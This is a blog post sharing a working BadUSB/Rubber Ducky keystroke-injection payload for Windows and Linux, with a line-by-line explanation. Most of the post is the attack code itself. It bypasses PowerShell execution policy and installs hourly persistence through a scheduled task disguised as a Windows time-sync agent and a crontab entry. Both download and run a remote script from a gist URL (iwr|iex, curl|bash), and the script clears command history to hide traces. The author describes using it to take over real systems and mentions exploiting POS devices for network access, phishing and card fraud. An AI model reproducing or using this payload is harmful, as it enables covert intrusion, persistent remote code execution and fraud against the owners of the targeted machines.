Quackery

Raffy Efrényi

Raffy Efrényi

@Raffy27a

A Rubber Ducky or BadUSB is often considered a useful tool when it comes to hands-on pentesting. It is basically a small USB device, not unlike your common flash drive, but it has a trick: it is able to execute possibly malicious code when inserted into a compatible system, and as such, subdue it. Essentially, it registers itself as an HID Keyboard Device and sends keystrokes to the given system, which then recognizes and broadcasts these to its running applications. A special payload can be crafted to coerce the system into executing arbitrary commands.

Recently, I wanted to try to take over a couple of systems whose architecture and overall layout were unknown. I knew that some of them are going to be POS Devices, but other than that, no clues were given. Because of this, I decided to try to find an agnostic cross-platform solution to the 🦆 problem. I also wanted my code to include persistence so that in the event of a system reboot, the effects of my tampering would last. To achieve this, I came up with the following Ducky Script:

REM Cross-platform payload by Raffy
REM Installs a crontab that executes a remote script every hour

DEFAULT_DELAY 100
DELAY 3000

REM Run catch-all Linux terminal
CTRL-ALT t
DELAY 300

REM Run powershell
GUI r
DELAY 750
STRING powershell -ep bypass -nop -nol
ENTER
DELAY 750

REM Windows payload
STRING $a=New-ScheduledTaskAction -E "cmd" -Ar "/c start /min """" powershell -ep bypass -nop -nol -wi hidden -c ""(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('https://gist.githubusercontent.com/Raffy27/fb9a6416db62aba34785b85d89372f5e/raw/windows.ps1') -UseBasicParsing|iex"""
ENTER
STRING $t=New-ScheduledTaskTrigger -RepetitionI (New-TimeSpan -H 1) -O -At (Date)
ENTER
STRING Register-ScheduledTask -Ac $a -Tr $t -TaskN 'TimeSync' -D 'Windows Time Synchronization Agent'
ENTER
STRING Clear-History
ENTER

REM Linux payload
STRING (crontab -l ; echo "0 * * * * curl -s https://gist.githubusercontent.com/Raffy27/fb9a6416db62aba34785b85d89372f5e/raw/linux.sh | bash") | crontab -
ENTER
STRING history -c
ENTER

REM Exit works on both platforms
STRING exit
ENTER

Explanation

Let's go over the code line by line, breaking down the commands and explaining what each one does.

The first block sets the default delay between sequential commands to 100ms, and its second line explicitly waits 3 seconds. Some systems require this in order to have enough time to find and load the compatible keyboard driver, otherwise, the rest of our payload may become malformed or not be recognized at all by the target device.

Afterward, the script tries to open a Linux terminal with the Ctrl+Alt+T hotkey. I tested this on multiple distributions such as the latest versions of Ubuntu and Manjaro; it appeared to be working flawlessly. We obviously have to wait a bit before the terminal is able to open and receive commands.

The third block attempts to open the Run prompt on windows devices with Win+R, and run Powershell with a couple of predefined arguments for consistency. These (in their minified forms) are a Script Execution Policy bypass (allowing us to run unsigned scripts on the fly), a NoProfile, and a NoLogo argument.

Next up, we send the payload intended to run on Windows devices. If the system is instead running Linux, the Linux terminal we had previously opened will just spit some errors out and take our abuse. Otherwise, Powershell receives the commands and executes them.

The fifth block is the same, but this time, we send Linux commands. The Linux terminals will interpret these correctly, but if we had Powershell open, it will complain with some stylish red text, and do nothing.

Finally, we clear our command history, and the exit command, fortunately, works on both platforms, closing the terminal or Powershell. I do not infect Macs out of principle.

The Powershell Payload

The payload you can see above has been somewhat minified to save a couple of keystrokes. Obviously, the URL hosting our secondary stager script should also be shortened as much as possible.

$action = New-ScheduledTaskAction -E "cmd" -Ar "/c start /min """" powershell -ep bypass -nop -nol -wi hidden -c ""(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('https://gist.githubusercontent.com/Raffy27/fb9a6416db62aba34785b85d89372f5e/raw/windows.ps1') -UseBasicParsing|iex""";
$trigger = New-ScheduledTaskTrigger -RepetitionI (New-TimeSpan -H 1) -O -At (Date);
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName 'TimeSync' -Description 'Windows Time Synchronization Agent';
Clear-History;

This payload creates Scheduled Task Action that runs a Command Prompt, which in turn executes a new Powershell instance (minimized, it then hides itself, essentially rendering this process invisible). This new instance applies the system-wide proxy settings (if present), and proceeds to download and execute the script hosted on the supplied URL.

We also create an associated Trigger that runs every hour, and finally, we register the Action and the Trigger together as an innocent-looking Scheduled Task. The history is cleared afterward.

The Linux Payload

This part is really simple. We just add a crontab that runs every hour, uses curl to grab our script intended to be run, and pipes its output into bash, which then executes it. Nothing special about it. It also includes a final attempt at clearing the history.

(crontab -l; echo "0 * * * * curl -s https://gist.githubusercontent.com/Raffy27/fb9a6416db62aba34785b85d89372f5e/raw/linux.sh | bash") | crontab -

Advanced OS Detection

This feature is already available as a Ducky Script Extension, and it provides an educated guess as to what operating system the targeted device is running. However, it relies on some hardware-specific implementation, and it is probably not compatible out of the box with most Rubber Ducky variants. My script basically boils down to sending a couple of keystrokes, and it can easily be implemented with cheaper and much simpler Rubber Duckies.

Results

I tested this solution in a couple of real-life environments, and it seemed to work every time. The initial delay may benefit from a bit of adjustment if you are planning on compromising slower systems, but otherwise, the action had been successful.

POS devices having an exposed USB port are especially easy to exploit with such a platform-agnostic payload, and they can provide access to more important parts of an organization, such as an internal network or shared files. They can also be used for other nefarious purposes, such as phishing and credit card fraud.

Leave a comment

Comments

No comments yet. Be the first one?